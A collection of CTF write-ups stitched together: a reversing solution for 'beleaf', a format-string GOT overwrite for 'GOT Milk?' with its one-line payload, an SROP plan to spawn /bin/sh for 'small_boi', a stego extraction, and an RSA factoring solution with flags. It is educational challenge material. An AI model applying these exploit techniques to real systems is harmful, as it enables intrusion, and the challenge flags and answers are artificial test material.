> tree sounds are best listened to by https://binary.ninja/demo or ghidra
[beleaf](rev/beleaf/beleaf)
Since this is a beginner challenge, I'll go fairly in-depth for this challenge.The TLDR is that the array referenced in `main` is a list of indexes into thearray referenced in `sub_7fa`. If you concatenate all these characters togetheryou get the flag.
Inspecting `main()`, we see the framework for a standard reversing challenge.
Here's a breakdown of what's happening (note that these addresses correspond tothose shown in Binja's MLIL view, so they might not include all instructionsthat perform the action specified in the description column; the addresseslisted are for quick reference only):
| address | description | C equivalent ||----------------|------------------------------------------------------------------------------------------|---------------------------------------------|| `0x8e0..0x8ef` | string (the flag) is read from stdin into `var_98` (which I'll call `flag`) | `char flag[0x88]; fgets("%s", flag);` || `0x8fb..0x903` | the string length of the flag is taken and stored in `var_a8` (which I'll call `len`) | `size_t len = strlen(flag);` || `0x912` | check if `len` is greater than 32 | `if (len > 0x20) {` || `0x92a` | a counter variable (I'll call it `i`) is initialized to 0 | ` int i;` || `0x99d..0x9ab` | a loop is set up to execute until `i == len` | ` while (i < len) {` || `0x93e..0x94e` | a single character (`c`) is taken from `flag` at position `i` | ` char c = flag[i];` || `0x950` | some checker function (`get_index`, we'll see why I name it this later) is called on `c` | ` int index = get_index(c);` || `0x955..0x97d` | the index from `get_index(c)` is compared against some global array | ` if (index == expected_indexes[i])` || `0x995` | `i` is incrememnted and the loop is continued | ` i++;` || `0x986..990` | we lose | ` else { puts("Incorrect!"); exit(1); }` || `0x9b4` | we win | ` } puts("Correct!");` || `0x91b` | we lose | `} puts("Incorrect!"); exit(1);` |
Let's examine `sub_7fa` (`get_index`):
I won't go into as much detail about reversing this function, but here's anapproximation in C:
```cint32_t bst[300];
int32_t get_index(char c) { int32_t idx = 0; while (idx != -1) { if (c == bst[idx]) break;
if (c < bst[idx]) idx = 2*idx + 1; else if (c > bst[idx]) idx = 2*idx + 2; } return idx;}```
On closer examination of `bst` (address `0x201020`), it appears to be a [BinarySearch Tree](https://en.wikipedia.org/wiki/Binary_search_tree) of sorts.However, this isn't important to solving the challenge. We can simply think ofit as a list that assignes each unique character in the flag a unique index intothe list.
Let's think about what the possible return values of `get_index` can be. Thereis only one place that it can return from, so that simplifies things a bit. Thereturn value of `get_index` will always be `idx`
Now what are the possible values of `idx` at the return statement. The returnstatement directly follows the while statement, and there are only two exitsfrom the while statement: a) failing the condition (`idx != -1` is false), or b)encountering the `break` statement. If we encounter (a), then `idx` must be `-1`(`0xffffffff` since it's a `int32_t`), though this is unlikely, since `idx`would have to grow to very large numbers before hitting `0xffffffff` and wewould likely hit a segfault before it ever gets to be that large.
The most like case is that we've hit the `break` statement, which means that `c== bst[id]`. This is a very simple constraint. In fact, it allows us toessentially ignore the rest of the logic of this function. Since the returnvalue of `get_index(c)` is `idx`, and since we have shoen that it must be truethat `c == bst[idx]`, then it must be true that `get_index(bst[idx]) == idx`.
__Essentially__ what all this means is that `get_index` simply searches for `c`in `bst` and returns the index at which it found it. We can exploit this simpleproperty to determine each character of the flag.
In the array `expected_indexes` (address `0x2014e0`), we have the expectedreturn values of `get_index`. Each value in this array is simply an index into`bst`, so we can reconstruct the flag quite easily.
```1) get_index(bst[i]) == i (this is the characteristic property of get_index)2) get_index(bst[expected_indexes[i]]) == expected_indexes[i] (by replacing i with expected_indexes[i])3) get_index(flag[i]) == expected_indexes[i] (by analysis of main())4) get_index(flag[i]) == get_index(bst[expected_indexes[i]]) (by 1 and 2)5) flag[i] == bst[expected_indexes[i]] (by 4)```
Once we've learned this, the actual solution is quite simple. See [sol.py](rev/beleaf/sol.py)
## Pwn
### GOT Milk? - 50 pts> GlobalOffsetTable milk?> nc pwn.chal.csaw.io 1004
This is a simple format string vuln that can be used to overwrite a GOT address.I won't get into too much detail but the GOT entry is at `0x804a044`, and weneed to change it from `lose` to `win` (both found in `libmylib.so`). Luckily,their addresses only differ by one byte, so we can use a format string thatperforms a 1-byte overwrite:
\x10\xa0\x04\x08%1$133c%7$hhn\\n\\n
### small_boi - 100 pts> you were a baby boi earlier, can you be a small boi now?> nc pwn.chal.csaw.io 1002
[small_boi](pwn/small_boi/small_boi)
At only 4.8KiB and statically linked, this binary is very similar. We are onlygiven 4 functions:
- `sub_40017c` :: `syscall(15)`- `sub_40018a` :: `pop rax; ret`- `sub_40018c` :: `char buf[0x20]; read(0, buf, 0x200)`- `_start` :: `sub_40018c(); exit(0);`
So we have an obvious buffer overflow in `sub_40018c`, but NX is on so we can'texecute shellcode, there is no libc to return into, and there only seem to be 2or 3 gadgets in the executable. Interested what `sigreturn()` is I decided toconsult its man page:
> sigreturn, rt_sigreturn - return from signal handler and cleanup stack frame
Turns out, this syscall enables an entire variant of ROP:[SROP](https://en.wikipedia.org/wiki/Sigreturn-oriented_programming). All youneed is a `pop rax; ret` gadget and a single `syscall` instruction literallyanywhere in executable memory (or even better, a `mov eax, 15; syscall` as theauthor has given us). This enables us to call `sigreturn`, which lets us set anyof the general purpose registers (`r{a,b,c,d}x`, `r{d,s}i`, `r8..r15`), stackregisters (`r{s,b}p`), and most importantly `rip` (`eflags` and `cs` can also beset using a `sigreturn`).
Using this we can construct a call to `execve("/bin/sh", NULL, NULL)`, giving usa shell. Simple, we'll place `"/bin/sh"` on the stack in the buffer-overflowing`read()` call, et voilà! Oh wait, ASLR... we can't find a reliable stackaddress. Well, turns out the challenge writer has given us exactly one string in`.rodata`: `"/bin/sh"`!
See [sol.py](pwn/small_boi/sol.py) for the full solution. |
put this file to 010 Editor
and we'll see it's a text format
```binwalk -e diagramDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------8676 0x21E4 Unix path: /schemas.microsoft.com/office/word/2003/wordml}}```
it's a microsoft document?
back to 010
lots of hex string and put them to a new hex file
and it's a normal png file
stegsolve this file and nothing to get
abandon
put the rest of string into a new hex file
and binwalk it
wow~a lots of .xml file!
watch all of this by excel
we get a file```.\Untitled1.s.extracted\xl\charts\chart1.xml```
there got many of SECT marks
and go right
there are some numbers like ascii
83 69 67 84 123 52 110 100 114 48 105 100 115 95 115 104 48 117 108 100 95 98 51 95 110 49 99 101 125
translate it one by one
you will get the flag
ps:123 : '{' 125:'}'
remember it and you will happy more
|
Note that we didn't solve this challenge.
If you want to directly go to the solution, please refer to @phithon_xg's tweet https://twitter.com/phithon_xg/status/1173446436614094849 |
Slide Puzzle is a slide puzzle app written in Flutter + Dart based off of [this sample slide puzzle app](https://flutter.github.io/samples/slide_puzzle/#/) with [source here](https://github.com/kevmoo/slide_puzzle/).
**Full Writeup:** [https://github.com/pwning/public-writeup/tree/master/rwctf2019/rev_slide_puzzle](https://github.com/pwning/public-writeup/tree/master/rwctf2019/rev_slide_puzzle) |
# SEC-T CTF 2019 : Trivial RSA
**category** : crypto
**points** : 359
**solves** : 32
## write-up
We are given `n1, n2, (p1 - p2) % (q1 - q2), (q1 - q2) % (p1 - p2), c`, Where
```n1 = p1 * q1n2 = p2 * q2e = 65537c = pow(m, e, n1)```
Assume `y1 = (p1 - p2) % (q1 - q2), y2 = (q1 - q2) % (p1 - p2)` We already know the values of `y1, y2` There are only two possibilities (don't mind the equal situation): 1. `p1 - p2 < q1 - q2`, then `p1 - p2 = y1, q1 - q2 = y2 + k * y1` for some `k` 2. `p1 - p2 > q1 - q2`, then `p1 - p2 = y1 + k * y2, q1 - q2 = y2` for some `k`
Brute force the value of `k`, then we know the exact value of `p1 - p2` and `q1 - q2`Assume the exact values are `p1 - p2 = x1, q1 - q2 = x2`Then we will have 4 equations
```p1 - p2 = x1q1 - q2 = x2p1 * q1 = n1p2 * q2 = n2```
After some math calculations, we will get a quadratic equation
```x2 * p1 * p1 + (n1 - n2 + x1 * x2) * p1 + x1 * n1 = 0```
solve for `p1` and factor `n1`
flag: `SECT{ju99lin_w1d_d3m_alg3br0s}`
# other write-ups and resources |
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